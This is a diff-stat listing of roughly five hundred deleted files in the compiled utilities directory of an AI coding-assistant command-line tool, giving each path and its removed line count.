  1470. package/dist/src/utils/claudeInChrome/chromeNativeHost.js +0 -416
  1471. package/dist/src/utils/claudeInChrome/common.js +0 -466
  1472. package/dist/src/utils/claudeInChrome/mcpServer.js +0 -237
  1473. package/dist/src/utils/claudeInChrome/prompt.js +0 -79
  1474. package/dist/src/utils/claudeInChrome/setup.js +0 -320
  1475. package/dist/src/utils/claudeInChrome/setupPortable.js +0 -172
  1476. package/dist/src/utils/claudeInChrome/toolRendering.js +0 -234
  1477. package/dist/src/utils/claudemd.js +0 -1054
  1478. package/dist/src/utils/cleanup.js +0 -514
  1479. package/dist/src/utils/cleanupRegistry.js +0 -22
  1480. package/dist/src/utils/cliArgs.js +0 -53
  1481. package/dist/src/utils/cliHighlight.js +0 -45
  1482. package/dist/src/utils/codeIndexing.js +0 -149
  1483. package/dist/src/utils/collapseBackgroundBashNotifications.js +0 -70
  1484. package/dist/src/utils/collapseHookSummaries.js +0 -48
  1485. package/dist/src/utils/collapseReadSearch.js +0 -871
  1486. package/dist/src/utils/collapseTeammateShutdowns.js +0 -44
  1487. package/dist/src/utils/combinedAbortSignal.js +0 -40
  1488. package/dist/src/utils/commandLifecycle.js +0 -7
  1489. package/dist/src/utils/commitAttribution.js +0 -720
  1490. package/dist/src/utils/completionCache.js +0 -138
  1491. package/dist/src/utils/computerUse/appNames.js +0 -170
  1492. package/dist/src/utils/computerUse/cleanup.js +0 -66
  1493. package/dist/src/utils/computerUse/common.js +0 -56
  1494. package/dist/src/utils/computerUse/computerUseLock.js +0 -183
  1495. package/dist/src/utils/computerUse/drainRunLoop.js +0 -71
  1496. package/dist/src/utils/computerUse/escHotkey.js +0 -53
  1497. package/dist/src/utils/computerUse/executor.js +0 -480
  1498. package/dist/src/utils/computerUse/gates.js +0 -55
  1499. package/dist/src/utils/computerUse/hostAdapter.js +0 -62
  1500. package/dist/src/utils/computerUse/inputLoader.js +0 -27
  1501. package/dist/src/utils/computerUse/mcpServer.js +0 -84
  1502. package/dist/src/utils/computerUse/setup.js +0 -42
  1503. package/dist/src/utils/computerUse/swiftLoader.js +0 -20
  1504. package/dist/src/utils/computerUse/toolRendering.js +0 -100
  1505. package/dist/src/utils/computerUse/wrapper.js +0 -318
  1506. package/dist/src/utils/concurrentSessions.js +0 -179
  1507. package/dist/src/utils/config.js +0 -1084
  1508. package/dist/src/utils/configConstants.js +0 -18
  1509. package/dist/src/utils/contentArray.js +0 -45
  1510. package/dist/src/utils/context.js +0 -185
  1511. package/dist/src/utils/contextAnalysis.js +0 -171
  1512. package/dist/src/utils/contextSuggestions.js +0 -158
  1513. package/dist/src/utils/controlMessageCompat.js +0 -31
  1514. package/dist/src/utils/conversationRecovery.js +0 -436
  1515. package/dist/src/utils/cron.js +0 -260
  1516. package/dist/src/utils/cronJitterConfig.js +0 -62
  1517. package/dist/src/utils/cronScheduler.js +0 -388
  1518. package/dist/src/utils/cronTasks.js +0 -328
  1519. package/dist/src/utils/cronTasksLock.js +0 -159
  1520. package/dist/src/utils/crossProjectResume.js +0 -46
  1521. package/dist/src/utils/crypto.js +0 -13
  1522. package/dist/src/utils/cwd.js +0 -29
  1523. package/dist/src/utils/databaseMcp/common.js +0 -48
  1524. package/dist/src/utils/databaseMcp/mcpServer.js +0 -2
  1525. package/dist/src/utils/databaseMcp/server/connection.js +0 -243
  1526. package/dist/src/utils/databaseMcp/server/index.js +0 -1442
  1527. package/dist/src/utils/databaseMcp/server/queries.js +0 -683
  1528. package/dist/src/utils/databaseMcp/server/types.js +0 -7
  1529. package/dist/src/utils/databaseMcp/setup.js +0 -28
  1530. package/dist/src/utils/debug.js +0 -220
  1531. package/dist/src/utils/debugFilter.js +0 -125
  1532. package/dist/src/utils/deepLink/banner.js +0 -103
  1533. package/dist/src/utils/deepLink/parseDeepLink.js +0 -138
  1534. package/dist/src/utils/deepLink/protocolHandler.js +0 -119
  1535. package/dist/src/utils/deepLink/registerProtocol.js +0 -291
  1536. package/dist/src/utils/deepLink/terminalLauncher.js +0 -455
  1537. package/dist/src/utils/deepLink/terminalPreference.js +0 -51
  1538. package/dist/src/utils/desktopDeepLink.js +0 -208
  1539. package/dist/src/utils/detectRepository.js +0 -157
  1540. package/dist/src/utils/diagLogs.js +0 -74
  1541. package/dist/src/utils/diff.js +0 -108
  1542. package/dist/src/utils/directMemberMessage.js +0 -34
  1543. package/dist/src/utils/displayTags.js +0 -46
  1544. package/dist/src/utils/doctorContextWarnings.js +0 -179
  1545. package/dist/src/utils/doctorDiagnostic.js +0 -495
  1546. package/dist/src/utils/dxt/helpers.js +0 -64
  1547. package/dist/src/utils/dxt/zip.js +0 -167
  1548. package/dist/src/utils/earlyInput.js +0 -166
  1549. package/dist/src/utils/editor.js +0 -163
  1550. package/dist/src/utils/effort.js +0 -278
  1551. package/dist/src/utils/embeddedTools.js +0 -26
  1552. package/dist/src/utils/env.js +0 -358
  1553. package/dist/src/utils/envDynamic.js +0 -130
  1554. package/dist/src/utils/envUtils.js +0 -154
  1555. package/dist/src/utils/envValidation.js +0 -26
  1556. package/dist/src/utils/errorLogSink.js +0 -197
  1557. package/dist/src/utils/errors.js +0 -207
  1558. package/dist/src/utils/eventLoopStallDetector.js +0 -16
  1559. package/dist/src/utils/exampleCommands.js +0 -165
  1560. package/dist/src/utils/execFileNoThrow.js +0 -93
  1561. package/dist/src/utils/execFileNoThrowPortable.js +0 -111
  1562. package/dist/src/utils/execSyncWrapper.js +0 -68
  1563. package/dist/src/utils/exportRenderer.js +0 -71
  1564. package/dist/src/utils/extraUsage.js +0 -19
  1565. package/dist/src/utils/fastMode.js +0 -393
  1566. package/dist/src/utils/file.js +0 -467
  1567. package/dist/src/utils/fileHistory.js +0 -851
  1568. package/dist/src/utils/fileOperationAnalytics.js +0 -45
  1569. package/dist/src/utils/filePersistence/filePersistence.js +0 -212
  1570. package/dist/src/utils/filePersistence/outputsScanner.js +0 -104
  1571. package/dist/src/utils/filePersistence/types.js +0 -5
  1572. package/dist/src/utils/fileRead.js +0 -81
  1573. package/dist/src/utils/fileReadCache.js +0 -78
  1574. package/dist/src/utils/fileStateCache.js +0 -99
  1575. package/dist/src/utils/findExecutable.js +0 -13
  1576. package/dist/src/utils/fingerprint.js +0 -59
  1577. package/dist/src/utils/forkedAgent.js +0 -410
  1578. package/dist/src/utils/format.js +0 -238
  1579. package/dist/src/utils/formatBriefTimestamp.js +0 -72
  1580. package/dist/src/utils/fpsTracker.js +0 -34
  1581. package/dist/src/utils/frontmatterParser.js +0 -260
  1582. package/dist/src/utils/fsOperations.js +0 -834
  1583. package/dist/src/utils/fullscreen.js +0 -194
  1584. package/dist/src/utils/generatedFiles.js +0 -122
  1585. package/dist/src/utils/generators.js +0 -67
  1586. package/dist/src/utils/genericProcessUtils.js +0 -155
  1587. package/dist/src/utils/getWorktreePaths.js +0 -56
  1588. package/dist/src/utils/getWorktreePathsPortable.js +0 -23
  1589. package/dist/src/utils/ghPrStatus.js +0 -71
  1590. package/dist/src/utils/git/gitConfigParser.js +0 -226
  1591. package/dist/src/utils/git/gitFilesystem.js +0 -606
  1592. package/dist/src/utils/git/gitignore.js +0 -84
  1593. package/dist/src/utils/git.js +0 -725
  1594. package/dist/src/utils/gitDiff.js +0 -395
  1595. package/dist/src/utils/gitSettings.js +0 -18
  1596. package/dist/src/utils/github/ghAuthStatus.js +0 -23
  1597. package/dist/src/utils/githubRepoPathMapping.js +0 -135
  1598. package/dist/src/utils/glob.js +0 -90
  1599. package/dist/src/utils/gracefulShutdown.js +0 -447
  1600. package/dist/src/utils/groupToolUses.js +0 -126
  1601. package/dist/src/utils/handlePromptSubmit.js +0 -398
  1602. package/dist/src/utils/hash.js +0 -46
  1603. package/dist/src/utils/headlessProfiler.js +0 -147
  1604. package/dist/src/utils/heapDumpService.js +0 -202
  1605. package/dist/src/utils/heatmap.js +0 -151
  1606. package/dist/src/utils/highlightMatch.js +0 -28
  1607. package/dist/src/utils/hooks/AsyncHookRegistry.js +0 -187
  1608. package/dist/src/utils/hooks/apiQueryHookHelper.js +0 -77
  1609. package/dist/src/utils/hooks/execAgentHook.js +0 -257
  1610. package/dist/src/utils/hooks/execHttpHook.js +0 -184
  1611. package/dist/src/utils/hooks/execPromptHook.js +0 -171
  1612. package/dist/src/utils/hooks/fileChangedWatcher.js +0 -161
  1613. package/dist/src/utils/hooks/hookEvents.js +0 -111
  1614. package/dist/src/utils/hooks/hookHelpers.js +0 -60
  1615. package/dist/src/utils/hooks/hooksConfigManager.js +0 -323
  1616. package/dist/src/utils/hooks/hooksConfigSnapshot.js +0 -114
  1617. package/dist/src/utils/hooks/hooksSettings.js +0 -204
  1618. package/dist/src/utils/hooks/postSamplingHooks.js +0 -39
  1619. package/dist/src/utils/hooks/registerFrontmatterHooks.js +0 -47
  1620. package/dist/src/utils/hooks/registerSkillHooks.js +0 -40
  1621. package/dist/src/utils/hooks/sessionHooks.js +0 -252
  1622. package/dist/src/utils/hooks/skillImprovement.js +0 -211
  1623. package/dist/src/utils/hooks/ssrfGuard.js +0 -258
  1624. package/dist/src/utils/hooks.js +0 -3668
  1625. package/dist/src/utils/horizontalScroll.js +0 -108
  1626. package/dist/src/utils/http.js +0 -121
  1627. package/dist/src/utils/hyperlink.js +0 -28
  1628. package/dist/src/utils/iTermBackup.js +0 -48
  1629. package/dist/src/utils/ide.js +0 -1198
  1630. package/dist/src/utils/idePathConversion.js +0 -66
  1631. package/dist/src/utils/idleTimeout.js +0 -44
  1632. package/dist/src/utils/imagePaste.js +0 -329
  1633. package/dist/src/utils/imageResizer.js +0 -664
  1634. package/dist/src/utils/imageStore.js +0 -150
  1635. package/dist/src/utils/imageValidation.js +0 -92
  1636. package/dist/src/utils/immediateCommand.js +0 -12
  1637. package/dist/src/utils/inProcessTeammateHelpers.js +0 -71
  1638. package/dist/src/utils/ink.js +0 -20
  1639. package/dist/src/utils/intl.js +0 -83
  1640. package/dist/src/utils/jetbrains.js +0 -152
  1641. package/dist/src/utils/json.js +0 -295
  1642. package/dist/src/utils/jsonRead.js +0 -14
  1643. package/dist/src/utils/keyboardShortcuts.js +0 -11
  1644. package/dist/src/utils/lazySchema.js +0 -8
  1645. package/dist/src/utils/listSessionsImpl.js +0 -332
  1646. package/dist/src/utils/localInstaller.js +0 -131
  1647. package/dist/src/utils/lockfile.js +0 -22
  1648. package/dist/src/utils/log.js +0 -280
  1649. package/dist/src/utils/logoV2Utils.js +0 -288
  1650. package/dist/src/utils/mailbox.js +0 -50
  1651. package/dist/src/utils/managedEnv.js +0 -160
  1652. package/dist/src/utils/managedEnvConstants.js +0 -187
  1653. package/dist/src/utils/markdown.js +0 -300
  1654. package/dist/src/utils/markdownConfigLoader.js +0 -480
  1655. package/dist/src/utils/mcp/dateTimeParser.js +0 -102
  1656. package/dist/src/utils/mcp/elicitationValidation.js +0 -259
  1657. package/dist/src/utils/mcpInstructionsDelta.js +0 -97
  1658. package/dist/src/utils/mcpOutputStorage.js +0 -159
  1659. package/dist/src/utils/mcpValidation.js +0 -165
  1660. package/dist/src/utils/mcpWebSocketTransport.js +0 -180
  1661. package/dist/src/utils/memoize.js +0 -205
  1662. package/dist/src/utils/memory/types.js +0 -9
  1663. package/dist/src/utils/memory/versions.js +0 -7
  1664. package/dist/src/utils/memoryFileDetection.js +0 -247
  1665. package/dist/src/utils/messagePredicates.js +0 -6
  1666. package/dist/src/utils/messageQueueManager.js +0 -430
  1667. package/dist/src/utils/messages/mappers.js +0 -240
  1668. package/dist/src/utils/messages/systemInit.js +0 -74
  1669. package/dist/src/utils/messages.js +0 -4273
  1670. package/dist/src/utils/model/agent.js +0 -128
  1671. package/dist/src/utils/model/aliases.js +0 -21
  1672. package/dist/src/utils/model/antModels.js +0 -25
  1673. package/dist/src/utils/model/bedrock.js +0 -220
  1674. package/dist/src/utils/model/check1mAccess.js +0 -64
  1675. package/dist/src/utils/model/configs.js +0 -93
  1676. package/dist/src/utils/model/contextWindowUpgradeCheck.js +0 -41
  1677. package/dist/src/utils/model/deprecation.js +0 -72
  1678. package/dist/src/utils/model/model.js +0 -635
  1679. package/dist/src/utils/model/modelAllowlist.js +0 -148
  1680. package/dist/src/utils/model/modelCapabilities.js +0 -107
  1681. package/dist/src/utils/model/modelOptions.js +0 -627
  1682. package/dist/src/utils/model/modelStrings.js +0 -144
  1683. package/dist/src/utils/model/modelSupportOverrides.js +0 -40
  1684. package/dist/src/utils/model/openrouter.js +0 -51
  1685. package/dist/src/utils/model/providerBaseUrls.js +0 -77
  1686. package/dist/src/utils/model/providerCatalog.js +0 -81
  1687. package/dist/src/utils/model/providerModels.js +0 -334
  1688. package/dist/src/utils/model/providerProfiles.js +0 -392
  1689. package/dist/src/utils/model/providerProfilesDb.js +0 -556
  1690. package/dist/src/utils/model/providerSwitch.js +0 -68
  1691. package/dist/src/utils/model/providers.js +0 -199
  1692. package/dist/src/utils/model/validateModel.js +0 -257
  1693. package/dist/src/utils/modelCost.js +0 -160
  1694. package/dist/src/utils/modifiers.js +0 -35
  1695. package/dist/src/utils/mtls.js +0 -134
  1696. package/dist/src/utils/nativeInstaller/download.js +0 -370
  1697. package/dist/src/utils/nativeInstaller/index.js +0 -8
  1698. package/dist/src/utils/nativeInstaller/installer.js +0 -1396
  1699. package/dist/src/utils/nativeInstaller/packageManagers.js +0 -258
  1700. package/dist/src/utils/nativeInstaller/pidLock.js +0 -347
  1701. package/dist/src/utils/notebook.js +0 -176
  1702. package/dist/src/utils/objectGroupBy.js +0 -15
  1703. package/dist/src/utils/pasteStore.js +0 -93
  1704. package/dist/src/utils/path.js +0 -140
  1705. package/dist/src/utils/pdf.js +0 -236
  1706. package/dist/src/utils/pdfUtils.js +0 -61
  1707. package/dist/src/utils/peerAddress.js +0 -20
  1708. package/dist/src/utils/permissions/PermissionMode.js +0 -95
  1709. package/dist/src/utils/permissions/PermissionPromptToolResultSchema.js +0 -85
  1710. package/dist/src/utils/permissions/PermissionResult.js +0 -11
  1711. package/dist/src/utils/permissions/PermissionRule.js +0 -19
  1712. package/dist/src/utils/permissions/PermissionUpdate.js +0 -268
  1713. package/dist/src/utils/permissions/PermissionUpdateSchema.js +0 -61
  1714. package/dist/src/utils/permissions/autoModeState.js +0 -34
  1715. package/dist/src/utils/permissions/bashClassifier.js +0 -30
  1716. package/dist/src/utils/permissions/bypassPermissionsKillswitch.js +0 -115
  1717. package/dist/src/utils/permissions/classifierDecision.js +0 -88
  1718. package/dist/src/utils/permissions/classifierShared.js +0 -28
  1719. package/dist/src/utils/permissions/dangerousPatterns.js +0 -78
  1720. package/dist/src/utils/permissions/denialTracking.js +0 -34
  1721. package/dist/src/utils/permissions/filesystem.js +0 -1411
  1722. package/dist/src/utils/permissions/getNextPermissionMode.js +0 -74
  1723. package/dist/src/utils/permissions/pathValidation.js +0 -351
  1724. package/dist/src/utils/permissions/permissionExplainer.js +0 -188
  1725. package/dist/src/utils/permissions/permissionRuleParser.js +0 -177
  1726. package/dist/src/utils/permissions/permissionSetup.js +0 -1164
  1727. package/dist/src/utils/permissions/permissions.js +0 -1065
  1728. package/dist/src/utils/permissions/permissionsLoader.js +0 -217
  1729. package/dist/src/utils/permissions/shadowedRuleDetection.js +0 -149
  1730. package/dist/src/utils/permissions/shellRuleMatching.js +0 -174
  1731. package/dist/src/utils/permissions/yoloClassifier.js +0 -1195
  1732. package/dist/src/utils/planModeV2.js +0 -75
  1733. package/dist/src/utils/plans.js +0 -334
  1734. package/dist/src/utils/platform.js +0 -122
  1735. package/dist/src/utils/plugins/addDirPluginSettings.js +0 -53
  1736. package/dist/src/utils/plugins/cacheUtils.js +0 -174
  1737. package/dist/src/utils/plugins/dependencyResolver.js +0 -244
  1738. package/dist/src/utils/plugins/fetchTelemetry.js +0 -108
  1739. package/dist/src/utils/plugins/gitAvailability.js +0 -65
  1740. package/dist/src/utils/plugins/headlessPluginInstall.js +0 -136
  1741. package/dist/src/utils/plugins/hintRecommendation.js +0 -136
  1742. package/dist/src/utils/plugins/installCounts.js +0 -218
  1743. package/dist/src/utils/plugins/installedPluginsManager.js +0 -1003
  1744. package/dist/src/utils/plugins/loadPluginAgents.js +0 -219
  1745. package/dist/src/utils/plugins/loadPluginCommands.js +0 -595
  1746. package/dist/src/utils/plugins/loadPluginHooks.js +0 -239
  1747. package/dist/src/utils/plugins/loadPluginOutputStyles.js +0 -112
  1748. package/dist/src/utils/plugins/lspPluginIntegration.js +0 -293
  1749. package/dist/src/utils/plugins/lspRecommendation.js +0 -278
  1750. package/dist/src/utils/plugins/managedPlugins.js +0 -26
  1751. package/dist/src/utils/plugins/marketplaceHelpers.js +0 -470
  1752. package/dist/src/utils/plugins/marketplaceManager.js +0 -1939
  1753. package/dist/src/utils/plugins/mcpPluginIntegration.js +0 -465
  1754. package/dist/src/utils/plugins/mcpbHandler.js +0 -708
  1755. package/dist/src/utils/plugins/officialMarketplace.js +0 -21
  1756. package/dist/src/utils/plugins/officialMarketplaceGcs.js +0 -195
  1757. package/dist/src/utils/plugins/officialMarketplaceStartupCheck.js +0 -338
  1758. package/dist/src/utils/plugins/orphanedPluginFilter.js +0 -96
  1759. package/dist/src/utils/plugins/parseMarketplaceInput.js +0 -143
  1760. package/dist/src/utils/plugins/performStartupChecks.js +0 -66
  1761. package/dist/src/utils/plugins/pluginAutoupdate.js +0 -210
  1762. package/dist/src/utils/plugins/pluginBlocklist.js +0 -93
  1763. package/dist/src/utils/plugins/pluginDirectories.js +0 -170
  1764. package/dist/src/utils/plugins/pluginFlagging.js +0 -173
  1765. package/dist/src/utils/plugins/pluginIdentifier.js +0 -78
  1766. package/dist/src/utils/plugins/pluginInstallationHelpers.js +0 -400
  1767. package/dist/src/utils/plugins/pluginLoader.js +0 -2426
  1768. package/dist/src/utils/plugins/pluginOptionsStorage.js +0 -311
  1769. package/dist/src/utils/plugins/pluginPolicy.js +0 -18
  1770. package/dist/src/utils/plugins/pluginStartupCheck.js +0 -261
  1771. package/dist/src/utils/plugins/pluginVersioning.js +0 -128
  1772. package/dist/src/utils/plugins/reconciler.js +0 -181
  1773. package/dist/src/utils/plugins/refresh.js +0 -162
  1774. package/dist/src/utils/plugins/schemas.js +0 -1283
  1775. package/dist/src/utils/plugins/validatePlugin.js +0 -765
  1776. package/dist/src/utils/plugins/walkPluginMarkdown.js +0 -49
  1777. package/dist/src/utils/plugins/zipCache.js +0 -346
  1778. package/dist/src/utils/plugins/zipCacheAdapters.js +0 -133
  1779. package/dist/src/utils/postCommitAttribution.js +0 -16
  1780. package/dist/src/utils/powershell/dangerousCmdlets.js +0 -174
  1781. package/dist/src/utils/powershell/parser.js +0 -1357
  1782. package/dist/src/utils/powershell/staticPrefix.js +0 -277
  1783. package/dist/src/utils/preflightChecks.js +0 -147
  1784. package/dist/src/utils/privacyLevel.js +0 -49
  1785. package/dist/src/utils/process.js +0 -56
  1786. package/dist/src/utils/processUserInput/processBashCommand.js +0 -119
  1787. package/dist/src/utils/processUserInput/processSlashCommand.js +0 -845
  1788. package/dist/src/utils/processUserInput/processTextPrompt.js +0 -68
  1789. package/dist/src/utils/processUserInput/processUserInput.js +0 -326
  1790. package/dist/src/utils/profilerBase.js +0 -29
  1791. package/dist/src/utils/promptCategory.js +0 -39
  1792. package/dist/src/utils/promptEditor.js +0 -151
  1793. package/dist/src/utils/promptShellExecution.js +0 -119
  1794. package/dist/src/utils/proxy.js +0 -347
  1795. package/dist/src/utils/queryContext.js +0 -110
  1796. package/dist/src/utils/queryHelpers.js +0 -436
  1797. package/dist/src/utils/queryProfiler.js +0 -242
  1798. package/dist/src/utils/queueProcessor.js +0 -70
  1799. package/dist/src/utils/readEditContext.js +0 -176
  1800. package/dist/src/utils/readFileInRange.js +0 -278
  1801. package/dist/src/utils/releaseNotes.js +0 -304
  1802. package/dist/src/utils/renderOptions.js +0 -67
  1803. package/dist/src/utils/ripgrep.js +0 -540
  1804. package/dist/src/utils/sandbox/sandbox-adapter.js +0 -749
  1805. package/dist/src/utils/sandbox/sandbox-ui-utils.js +0 -11
  1806. package/dist/src/utils/sanitization.js +0 -72
  1807. package/dist/src/utils/screenshotClipboard.js +0 -89
  1808. package/dist/src/utils/sdkEventQueue.js +0 -49
  1809. package/dist/src/utils/sdkHeapDumpMonitor.js +0 -16
  1810. package/dist/src/utils/secureStorage/fallbackStorage.js +0 -59
  1811. package/dist/src/utils/secureStorage/index.js +0 -14
  1812. package/dist/src/utils/secureStorage/keychainPrefetch.js +0 -91
  1813. package/dist/src/utils/secureStorage/macOsKeychainHelpers.js +0 -91
  1814. package/dist/src/utils/secureStorage/macOsKeychainStorage.js +0 -192
  1815. package/dist/src/utils/secureStorage/plainTextStorage.js +0 -81
  1816. package/dist/src/utils/secureStorage/secureStoreDefs.js +0 -1
  1817. package/dist/src/utils/secureStorage/sqliteStorage.js +0 -217
  1818. package/dist/src/utils/secureStorage/types.js +0 -1
  1819. package/dist/src/utils/semanticBoolean.js +0 -23
  1820. package/dist/src/utils/semanticNumber.js +0 -34
  1821. package/dist/src/utils/semver.js +0 -53
  1822. package/dist/src/utils/sequential.js +0 -43
  1823. package/dist/src/utils/sessionActivity.js +0 -120
  1824. package/dist/src/utils/sessionDataUploader.js +0 -16
  1825. package/dist/src/utils/sessionEnvVars.js +0 -18
  1826. package/dist/src/utils/sessionEnvironment.js +0 -131
  1827. package/dist/src/utils/sessionFileAccessHooks.js +0 -207
  1828. package/dist/src/utils/sessionIngressAuth.js +0 -113
  1829. package/dist/src/utils/sessionRestore.js +0 -359
  1830. package/dist/src/utils/sessionStart.js +0 -165
  1831. package/dist/src/utils/sessionState.js +0 -76
  1832. package/dist/src/utils/sessionStorage.js +0 -4162
  1833. package/dist/src/utils/sessionStoragePortable.js +0 -665
  1834. package/dist/src/utils/sessionTitle.js +0 -120
  1835. package/dist/src/utils/sessionUrl.js +0 -50
  1836. package/dist/src/utils/set.js +0 -50
  1837. package/dist/src/utils/settings/allErrors.js +0 -29
  1838. package/dist/src/utils/settings/applySettingsChange.js +0 -65
  1839. package/dist/src/utils/settings/changeDetector.js +0 -409
  1840. package/dist/src/utils/settings/constants.js +0 -166
  1841. package/dist/src/utils/settings/internalWrites.js +0 -33
  1842. package/dist/src/utils/settings/managedPath.js +0 -29
  1843. package/dist/src/utils/settings/mdm/constants.js +0 -62
  1844. package/dist/src/utils/settings/mdm/rawRead.js +0 -97
  1845. package/dist/src/utils/settings/mdm/settings.js +0 -254
  1846. package/dist/src/utils/settings/permissionValidation.js +0 -224
  1847. package/dist/src/utils/settings/pluginOnlyPolicy.js +0 -53
  1848. package/dist/src/utils/settings/schemaOutput.js +0 -7
  1849. package/dist/src/utils/settings/settings.js +0 -791
  1850. package/dist/src/utils/settings/settingsCache.js +0 -47
  1851. package/dist/src/utils/settings/toolValidationConfig.js +0 -76
  1852. package/dist/src/utils/settings/types.js +0 -846
  1853. package/dist/src/utils/settings/validateEditTool.js +0 -34
  1854. package/dist/src/utils/settings/validation.js +0 -192
  1855. package/dist/src/utils/settings/validationTips.js +0 -111
  1856. package/dist/src/utils/shell/bashProvider.js +0 -202
  1857. package/dist/src/utils/shell/outputLimits.js +0 -7
  1858. package/dist/src/utils/shell/powershellDetection.js +0 -96
  1859. package/dist/src/utils/shell/powershellProvider.js +0 -104
  1860. package/dist/src/utils/shell/prefix.js +0 -246
  1861. package/dist/src/utils/shell/readOnlyCommandValidation.js +0 -1776
  1862. package/dist/src/utils/shell/resolveDefaultShell.js +0 -13
  1863. package/dist/src/utils/shell/shellProvider.js +0 -2
  1864. package/dist/src/utils/shell/shellToolUtils.js +0 -21
  1865. package/dist/src/utils/shell/specPrefix.js +0 -198
  1866. package/dist/src/utils/shellConfig.js +0 -136
  1867. package/dist/src/utils/sideQuery.js +0 -195
  1868. package/dist/src/utils/sideQuestion.js +0 -121
  1869. package/dist/src/utils/signal.js +0 -34
  1870. package/dist/src/utils/sinks.js +0 -15
  1871. package/dist/src/utils/skills/skillChangeDetector.js +0 -264
  1872. package/dist/src/utils/slashCommandParsing.js +0 -46
  1873. package/dist/src/utils/sleep.js +0 -72
  1874. package/dist/src/utils/sliceAnsi.js +0 -74
  1875. package/dist/src/utils/slowOperations.js +0 -323
  1876. package/dist/src/utils/standaloneAgent.js +0 -20
  1877. package/dist/src/utils/startupProfiler.js +0 -158
  1878. package/dist/src/utils/staticRender.js +0 -103
  1879. package/dist/src/utils/stats.js +0 -802
  1880. package/dist/src/utils/statsCache.js +0 -330
  1881. package/dist/src/utils/status.js +0 -544
  1882. package/dist/src/utils/statusNoticeDefinitions.js +0 -112
  1883. package/dist/src/utils/statusNoticeHelpers.js +0 -15
  1884. package/dist/src/utils/stream.js +0 -73
  1885. package/dist/src/utils/streamJsonStdoutGuard.js +0 -107
  1886. package/dist/src/utils/streamlinedTransform.js +0 -162
  1887. package/dist/src/utils/stringUtils.js +0 -202
  1888. package/dist/src/utils/subprocessEnv.js +0 -87
  1889. package/dist/src/utils/suggestions/commandSuggestions.js +0 -458
  1890. package/dist/src/utils/suggestions/directoryCompletion.js +0 -191
  1891. package/dist/src/utils/suggestions/shellHistoryCompletion.js +0 -95
  1892. package/dist/src/utils/suggestions/skillUsageTracking.js +0 -50
  1893. package/dist/src/utils/suggestions/slackChannelSuggestions.js +0 -169
  1894. package/dist/src/utils/swarm/It2SetupPrompt.js +0 -386
  1895. package/dist/src/utils/swarm/backends/ITermBackend.js +0 -276
  1896. package/dist/src/utils/swarm/backends/InProcessBackend.js +0 -237
  1897. package/dist/src/utils/swarm/backends/PaneBackendExecutor.js +0 -250
  1898. package/dist/src/utils/swarm/backends/TmuxBackend.js +0 -574
  1899. package/dist/src/utils/swarm/backends/detection.js +0 -112
  1900. package/dist/src/utils/swarm/backends/it2Setup.js +0 -185
  1901. package/dist/src/utils/swarm/backends/registry.js +0 -369
  1902. package/dist/src/utils/swarm/backends/teammateModeSnapshot.js +0 -68
  1903. package/dist/src/utils/swarm/backends/types.js +0 -9
  1904. package/dist/src/utils/swarm/constants.js +0 -29
  1905. package/dist/src/utils/swarm/inProcessRunner.js +0 -1021
  1906. package/dist/src/utils/swarm/leaderPermissionBridge.js +0 -31
  1907. package/dist/src/utils/swarm/permissionSync.js +0 -667
  1908. package/dist/src/utils/swarm/reconnection.js +0 -82
  1909. package/dist/src/utils/swarm/spawnInProcess.js +0 -218
  1910. package/dist/src/utils/swarm/spawnUtils.js +0 -123
  1911. package/dist/src/utils/swarm/teamHelpers.js +0 -484
  1912. package/dist/src/utils/swarm/teammateInit.js +0 -87
  1913. package/dist/src/utils/swarm/teammateLayoutManager.js +0 -82
  1914. package/dist/src/utils/swarm/teammateModel.js +0 -9
  1915. package/dist/src/utils/swarm/teammatePromptAddendum.js +0 -17
  1916. package/dist/src/utils/systemDirectories.js +0 -51
  1917. package/dist/src/utils/systemPrompt.js +0 -90
  1918. package/dist/src/utils/systemPromptType.js +0 -9
  1919. package/dist/src/utils/systemTheme.js +0 -108
  1920. package/dist/src/utils/systemThemeWatcher.js +0 -16
  1921. package/dist/src/utils/taggedId.js +0 -49
  1922. package/dist/src/utils/task/TaskOutput.js +0 -320
  1923. package/dist/src/utils/task/diskOutput.js +0 -387
  1924. package/dist/src/utils/task/framework.js +0 -236
  1925. package/dist/src/utils/task/outputFormatting.js +0 -24
  1926. package/dist/src/utils/task/sdkProgress.js +0 -24
  1927. package/dist/src/utils/tasks.js +0 -672
  1928. package/dist/src/utils/teamDiscovery.js +0 -48
  1929. package/dist/src/utils/teamMemoryOps.js +0 -67
  1930. package/dist/src/utils/teammate.js +0 -237
  1931. package/dist/src/utils/teammateContext.js +0 -56
  1932. package/dist/src/utils/teammateMailbox.js +0 -793
  1933. package/dist/src/utils/telemetry/betaSessionTracing.js +0 -371
  1934. package/dist/src/utils/telemetry/bigqueryExporter.js +0 -178
  1935. package/dist/src/utils/telemetry/events.js +0 -57
  1936. package/dist/src/utils/telemetry/instrumentation.js +0 -617
  1937. package/dist/src/utils/telemetry/logger.js +0 -25
  1938. package/dist/src/utils/telemetry/perfettoTracing.js +0 -882
  1939. package/dist/src/utils/telemetry/pluginTelemetry.js +0 -157
  1940. package/dist/src/utils/telemetry/sessionTracing.js +0 -693
  1941. package/dist/src/utils/telemetry/skillLoadedEvent.js +0 -26
  1942. package/dist/src/utils/telemetryAttributes.js +0 -57
  1943. package/dist/src/utils/teleport/api.js +0 -299
  1944. package/dist/src/utils/teleport/environmentSelection.js +0 -55
  1945. package/dist/src/utils/teleport/environments.js +0 -84
  1946. package/dist/src/utils/teleport/gitBundle.js +0 -192
  1947. package/dist/src/utils/teleport.js +0 -1041
  1948. package/dist/src/utils/tempfile.js +0 -26
  1949. package/dist/src/utils/terminal.js +0 -105
  1950. package/dist/src/utils/terminalPanel.js +0 -155
  1951. package/dist/src/utils/textHighlighting.js +0 -113
  1952. package/dist/src/utils/theme.js +0 -525
  1953. package/dist/src/utils/thinking.js +0 -130
  1954. package/dist/src/utils/timeouts.js +0 -35
  1955. package/dist/src/utils/tmuxSocket.js +0 -373
  1956. package/dist/src/utils/todo/types.js +0 -9
  1957. package/dist/src/utils/tokenBudget.js +0 -62
  1958. package/dist/src/utils/tokens.js +0 -223
  1959. package/dist/src/utils/toolErrors.js +0 -101
  1960. package/dist/src/utils/toolPool.js +0 -63
  1961. package/dist/src/utils/toolResultStorage.js +0 -769
  1962. package/dist/src/utils/toolSchemaCache.js +0 -7
  1963. package/dist/src/utils/toolSearch.js +0 -551
  1964. package/dist/src/utils/transcriptSearch.js +0 -200
  1965. package/dist/src/utils/treeify.js +0 -111
  1966. package/dist/src/utils/truncate.js +0 -164
  1967. package/dist/src/utils/udsClient.js +0 -16
  1968. package/dist/src/utils/udsMessaging.js +0 -16
